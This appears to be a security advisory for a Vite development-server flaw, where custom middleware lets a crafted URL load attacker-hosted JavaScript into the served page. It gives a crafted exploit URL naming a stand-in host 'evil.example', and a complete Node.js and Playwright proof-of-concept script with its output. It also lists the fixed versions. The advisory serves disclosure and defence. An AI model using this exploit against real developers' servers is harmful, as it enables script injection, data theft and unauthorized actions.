CVE-2026-112945: Vite: Cross origin script execution through Vite custom middleware
Summary
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Impact
Only apps that match the following conditions are affected:
- the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
js const url = req.originalUrl template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173, an attacker can send this URL:
text http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:
html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
PoC
js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = //127.0.0.1:${attackerPort}/payload.js?/../../package.json const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) })
const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) })
let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) })
const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, })
const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return }
try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) })
await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true })
try { const page = await browser.newPage() await page.goto(http://127.0.0.1:${applicationPort}${exploitPath}) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', )
console.log(attacker request: ${attackerRequest}) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) }
Observed output on Vite 8.2.1: text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page
Other sources
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vite-plusto a version that resolves this vulnerability.Fixed in 1.1.0 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 6.4.4 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 7.3.7 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 8.1.6 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 8.2.4 - Upgrade
Upgrade
npm/viteto a version that resolves this vulnerability.Fixed in 8.3.3 - Upgrade
Upgrade
Viteto a version that resolves this vulnerability.Fixed in 6.4.4 - Upgrade
Upgrade
Viteto a version that resolves this vulnerability.Fixed in 7.3.7 - Upgrade
Upgrade
Viteto a version that resolves this vulnerability.Fixed in 8.1.6 - Upgrade
Upgrade
Viteto a version that resolves this vulnerability.Fixed in 8.2.4 - Upgrade
Upgrade
Viteto a version that resolves this vulnerability.Fixed in 8.3.3
Event History
Frequently Asked Questions
Which deployments are affected?
Affected deployments are Vite applications that use custom middleware and pass an unchanged browser request URL to server.transformIndexHtml. Exploitation also requires transformed HTML containing an inline module script and use of the Vite development server.
What must an attacker do to exploit this issue?
An attacker must cause a victim browser to load a crafted development-server page. The crafted request preserves leading double slashes in a proxy module URL, causing the browser to fetch and execute an attacker-controlled module in the Vite-served page.
What is the impact if exploitation succeeds?
Attacker-controlled JavaScript executes in the affected application's Vite-served page. It may expose sensitive page data or perform critical actions available to that application.
Which versions contain fixes?
The issue is fixed in Vite versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.